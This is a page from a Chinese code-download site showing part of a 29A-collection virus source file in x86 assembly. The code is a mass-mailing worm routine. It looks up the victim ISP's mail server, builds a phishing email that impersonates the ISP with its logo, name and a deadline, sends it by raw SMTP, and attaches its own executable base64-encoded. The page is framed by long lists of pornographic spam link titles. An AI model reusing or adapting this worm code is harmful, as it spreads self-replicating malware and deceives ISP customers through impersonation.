亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.013

?? 從29A上收集的病毒源碼
?? 013
?? 第 1 頁 / 共 5 頁
字號:
    cmp     dl, 26
    jge     postLetter
    add     dl, 'A'
    xor     al, al
    lea     edi, [ebp+szEmailAccount]
    mov     ecx, 25
    repne   scasb
    mov     byte ptr [edi-1], dl  
 
nameComplete:

;-------------------------------------------------------------------------------------------------;
; Get a mail server name.                                                                         ;
;-------------------------------------------------------------------------------------------------;

    ; query a DNS server for a list of the ISP's mail servers
    push    0
    pushptr lpResults
    push    0
    push    DNS_QUERY_STANDARD
    push    DNS_TYPE_MX
    pushptr szIspDomainName
    ApiCall DnsQuery_A
    cmp     eax, 0
    jne     exitThread
    
    ; was an answer record found?
    push    size DNS_RECORD
    pushval lpResults
    pushptr dnsRecordHeader
    ApiCall RtlMoveMemory
    mov     eax, [ebp+dnsRecordHeader.flags]
    and     al, 00000011b
    cmp     al, DNSREC_ANSWER
    jne     exitThread

    ; clear the szMailServer buffer
    push    132
    pushptr szMailServer
    ApiCall RtlZeroMemory
    
    ; get the host name from the DNS response message
    mov     eax, [ebp+lpResults]
    add     eax, size DNS_RECORD
    mov     eax, [eax]
    push    eax
    pushptr szMailServer
    ApiCall lstrcpyA    
    
    ; release the DNS record list
    push    DNS_FREE_RECORD_LIST_DEEP
    pushval lpResults
    ApiCall DnsRecordListFree

;-------------------------------------------------------------------------------------------------;
; Create the email message.                                                                       ;
;-------------------------------------------------------------------------------------------------;
     
    ; allocate 4k of memory for the email message
    push    4096
    push    GMEM_FIXED
    ApiCall GlobalAlloc
    cmp     eax, 0
    je      exitThread
    mov     [ebp+lpEmailMessage], eax	

    ; clear the buffer
    push    4096
    pushval lpEmailMessage
    ApiCall RtlZeroMemory

    ; concat part 1 of the email message
    pushptr szEmailPart1
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP domain name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 2 of the email message
    pushptr szEmailPart2
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the email account name
    pushptr szEmailAccount
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 3 of the email message
    pushptr szEmailPart3
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP domain name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 4 of the email message
    pushptr szEmailPart4
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA    
    
    ; concat part 5 of the email message
    pushptr szEmailPart5
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the logo URL
    pushptr szLogoUrl
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat part 6 of the email message
    pushptr szEmailPart6
    pushval lpEmailMessage
    ApiCall lstrcatA   

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 7 of the email message
    pushptr szEmailPart7
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA
    
    ; concat part 8 of the email message
    pushptr szEmailPart8
    pushval lpEmailMessage
    ApiCall lstrcatA    
    
    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 9 of the email message
    pushptr szEmailPart9
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 10 of the email message
    pushptr szEmailPart10
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 11 of the email message
    pushptr szEmailPart11
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the dead line date
    pushptr szDeadLine
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 12 of the email message
    pushptr szEmailPart12
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 13 of the email message
    pushptr szEmailPart13
    pushval lpEmailMessage
    ApiCall lstrcatA    

    ; concat the ISP company name
    pushptr szIspDomainName
    pushval lpEmailMessage
    ApiCall lstrcatA

    ; concat part 14 of the email message
    pushptr szEmailPart14
    pushval lpEmailMessage
    ApiCall lstrcatA   
      
    ; get the year
    push    6
    pushptr szYear
    pushptr szYearFormat
    push    0
    push    0
    push    0
    ApiCall GetDateFormatA
        
    ; concat the year
    pushptr szYear
    pushval lpEmailMessage
    ApiCall lstrcatA   

    ; concat part 15 of the email message
    pushptr szEmailPart15
    pushval lpEmailMessage
    ApiCall lstrcatA   

    ; concat the ISP company name
    pushptr szIspName
    pushval lpEmailMessage
    ApiCall lstrcatA
    
    ; concat part 16 of the email message
    pushptr szEmailPart16
    pushval lpEmailMessage
    ApiCall lstrcatA   

;-------------------------------------------------------------------------------------------------;
; Send the email message.                                                                         ;
;-------------------------------------------------------------------------------------------------;

    ; connect to the mail server
    mov     eax, 25
    lea     esi, [ebp+szMailServer]
    call    ConnectToHost
    cmp     eax, -1
    je      exitThread
    mov     [ebp+hSock], eax

    ; set the timeout duration
    mov     eax, 5000
    mov     esi, [ebp+hSock]
    lea     edi, [ebp+dwTimeOut]
    call    SetTimeOut

    ; get the server response
    push    0
    push    256        
    pushptr szResponse
    pushval hSock
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the HELO command
    pushptr szHeloPart1
    pushptr szCommand
    ApiCall lstrcpyA 
    pushptr szIspDomainName
    pushptr szCommand
    ApiCall lstrcatA 
    pushptr szHeloPart2
    pushptr szCommand
    ApiCall lstrcatA      

    ; send the HELO command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread
  
    ; recieve the server response
    push    0
    push    256        
    pushptr szResponse   
    pushval hSock       
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the MAIL FROM command
    pushptr szMailFromPart1
    pushptr szCommand
    ApiCall lstrcpyA
    pushptr szIspDomainName
    pushptr szCommand
    ApiCall lstrcatA    
    pushptr szMailFromPart2
    pushptr szCommand
    ApiCall lstrcatA
   
    ; send the MAIL FROM command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread

    ; recieve the server response
    push    0
    push    256         
    pushptr szResponse   
    pushval hSock        
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the RCPT TO command
    pushptr szRcptToPart1
    pushptr szCommand
    ApiCall lstrcpyA
    pushptr szEmailAccount
    pushptr szCommand
    ApiCall lstrcatA
    pushptr szRcptToPart2
    pushptr szCommand
    ApiCall lstrcatA
    pushptr szIspDomainName
    pushptr szCommand
    ApiCall lstrcatA
    pushptr szRcptToPart3
    pushptr szCommand
    ApiCall lstrcatA

    ; send the RCPT TO command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread
      
    ; recieve the server response
    push    0
    push    256         
    pushptr szResponse  
    pushval hSock      
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; create the DATA command
    pushptr szData
    pushptr szCommand
    ApiCall lstrcpyA

    ; send the DATA command
    pushptr szCommand
    ApiCall lstrlenA
    push    0
    push    eax
    pushptr szCommand
    pushval hSock
    ApiCall send
    cmp     eax, -1
    je      exitThread

    ; recieve the server response
    push    0
    push    256          
    pushptr szResponse   
    pushval hSock       
    ApiCall recv
    cmp     eax, -1
    je      exitThread

    ; send the email message
    mov     edi, [ebp+lpEmailMessage]
sendMessage:
    push    0
    push    1        
    push    edi      
    pushval hSock     
    ApiCall send
    cmp     eax, -1
    je      exitThread
    inc     edi
    cmp     byte ptr [edi], 0
    jne     sendMessage      

;-------------------------------------------------------------------------------------------------;
; Send the file attachment.                                                                       ;
;-------------------------------------------------------------------------------------------------;

    ; get the path and name of this program
    push    256
    pushptr szModuleName
    push    0
    ApiCall GetModuleFileNameA
    
    ; open this program
    push    0
    push    0
    push    OPEN_EXISTING
    push    0
    push    FILE_SHARE_READ
    push    GENERIC_READ
    pushptr szModuleName
    ApiCall CreateFileA
    cmp     eax, -1
    je      exitThread
    mov     [ebp+hFile], eax

    ; get the size of the file
    push    0
    pushval hFile
    ApiCall GetFileSize
    cmp     eax, -1
    je      exitThread

    ; calculate the number of 3 byte base64 groups
    xor     edx, edx
    mov     ebx, 3
    div     ebx
    mov     ecx, eax

    ; send the base64 encoded file data 
sendAttachment:

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久热成人在线视频| 91在线精品一区二区| 激情五月播播久久久精品| 亚洲国产成人tv| 男女男精品视频| 成人小视频免费在线观看| 91麻豆精品在线观看| 日韩欧美在线网站| 国产欧美一区二区精品性色超碰| 综合久久一区二区三区| 亚洲一区二区四区蜜桃| 紧缚奴在线一区二区三区| 成人免费视频caoporn| 欧美日韩国产电影| 欧美国产精品劲爆| 偷窥少妇高潮呻吟av久久免费| 国产一区二区三区在线观看免费 | 精品欧美久久久| 国产精品五月天| 天堂va蜜桃一区二区三区漫画版| 国产精品白丝jk黑袜喷水| 在线视频欧美区| 中文在线资源观看网站视频免费不卡| 亚洲成人免费视频| 成人精品小蝌蚪| 欧美一级片在线观看| 亚洲精品乱码久久久久久久久 | 午夜久久久影院| 欧美专区在线观看一区| 亚洲视频你懂的| 91蝌蚪porny九色| 亚洲精品免费在线播放| 91官网在线免费观看| 亚洲精品国产视频| 欧美伊人久久久久久久久影院| 亚洲美女偷拍久久| 在线观看日韩一区| 亚洲国产aⅴ天堂久久| 日韩你懂的电影在线观看| 一区二区三区加勒比av| 色8久久精品久久久久久蜜| 亚洲九九爱视频| 欧美性猛片xxxx免费看久爱| 亚洲综合久久av| 欧美日韩二区三区| 奇米影视一区二区三区| 精品国一区二区三区| 国产盗摄精品一区二区三区在线| 欧美高清在线视频| 91精彩视频在线| 丝袜亚洲另类丝袜在线| 日韩一区二区三区视频| 国产一区二区不卡在线 | 国模一区二区三区白浆| 国产清纯在线一区二区www| av高清不卡在线| 亚洲一区电影777| 日韩精品一区国产麻豆| 国产精品中文字幕日韩精品| 中文字幕五月欧美| 欧美日韩国产大片| 国产毛片精品国产一区二区三区| 国产精品国产三级国产aⅴ无密码 国产精品国产三级国产aⅴ原创 | 亚洲天堂免费在线观看视频| 色诱亚洲精品久久久久久| 日韩极品在线观看| 国产日韩成人精品| 欧美网站大全在线观看| 捆绑变态av一区二区三区| 国产精品美女一区二区在线观看| 欧美色爱综合网| 国内精品免费**视频| 日韩理论片一区二区| 日韩欧美国产麻豆| 91丨九色丨国产丨porny| 日韩成人伦理电影在线观看| 欧美激情一区不卡| 777色狠狠一区二区三区| 国产成人夜色高潮福利影视| 亚洲国产精品久久久男人的天堂| 精品sm捆绑视频| 欧美伊人久久久久久久久影院| 国产一区二区日韩精品| 亚洲国产欧美在线| 国产精品久久综合| 日韩三级视频中文字幕| 欧美在线视频全部完| 国产一区二区91| 日韩av电影天堂| 亚洲一区二区三区影院| 国产目拍亚洲精品99久久精品| 欧美一区二区网站| 欧美在线观看你懂的| 成人av在线资源网站| 国产在线看一区| 男女男精品视频| 午夜欧美视频在线观看| 一区二区三区色| 综合婷婷亚洲小说| 欧美国产乱子伦 | 国产精品一卡二| 三级不卡在线观看| 亚洲专区一二三| 国产精品看片你懂得| 久久精品免视看| 久久蜜桃av一区二区天堂| 日韩亚洲欧美在线| 欧美一区三区二区| 欧美丰满少妇xxxxx高潮对白| 色美美综合视频| 色琪琪一区二区三区亚洲区| av不卡在线播放| hitomi一区二区三区精品| 成人午夜看片网址| 成人av在线影院| 成人动漫av在线| av亚洲精华国产精华精华| 岛国av在线一区| 99精品视频在线观看免费| 大尺度一区二区| 成人福利视频网站| 91小视频在线| 色婷婷久久久久swag精品| 91麻豆产精品久久久久久| 欧日韩精品视频| 欧美日韩精品三区| 91精品国产综合久久蜜臀| 欧美一三区三区四区免费在线看| 日韩一级片网址| 精品国产青草久久久久福利| 久久久久久久久97黄色工厂| 国产蜜臀av在线一区二区三区| 国产日韩av一区| 亚洲美女精品一区| 丝袜脚交一区二区| 久久黄色级2电影| 成人午夜在线免费| 欧美视频一区二| 欧美精品一区二区三区高清aⅴ | 国产91色综合久久免费分享| 丁香亚洲综合激情啪啪综合| 一本到不卡免费一区二区| 欧美日本视频在线| 久久久久久电影| 一区二区三区丝袜| 老司机精品视频在线| 成年人网站91| 制服丝袜亚洲色图| 国产欧美日韩不卡免费| 一区二区久久久| 一区二区激情视频| 国产一区二区三区免费看| 亚洲 欧美综合在线网络| 久久国产麻豆精品| 99久久婷婷国产综合精品电影| 欧美日本乱大交xxxxx| 久久亚洲综合av| 亚洲国产成人高清精品| 国产精品一区二区久久不卡| 欧美综合天天夜夜久久| 久久精品欧美一区二区三区麻豆| 亚洲午夜久久久| 成人免费视频caoporn| 欧美一区二区视频观看视频| 国产精品动漫网站| 精品制服美女久久| 欧美色综合天天久久综合精品| 欧美精品一区二区高清在线观看| 亚洲欧美国产三级| 国产美女视频一区| 欧美一区二区播放| 亚洲男人电影天堂| 国产福利91精品一区二区三区| 欧美日韩亚洲高清一区二区| 亚洲欧洲99久久| 国产专区综合网| 日韩亚洲电影在线| 亚洲成人动漫一区| 色综合久久中文字幕| 国产欧美日韩久久| 国内一区二区视频| 日韩女优av电影在线观看| 亚洲午夜视频在线| 色呦呦日韩精品| 中文字幕日韩av资源站| 国产成人av影院| 久久嫩草精品久久久久| 蜜臀精品久久久久久蜜臀| 欧美日韩三级在线| 亚洲福利视频一区二区| 一本色道久久综合亚洲91| 中文字幕一区二区三区四区| 国产精品一区二区久激情瑜伽| 欧美成人伊人久久综合网| 石原莉奈在线亚洲二区| 欧美日韩久久一区二区| 亚洲一区二区三区三| 欧美色欧美亚洲另类二区| 一区二区三区国产| 在线观看免费视频综合|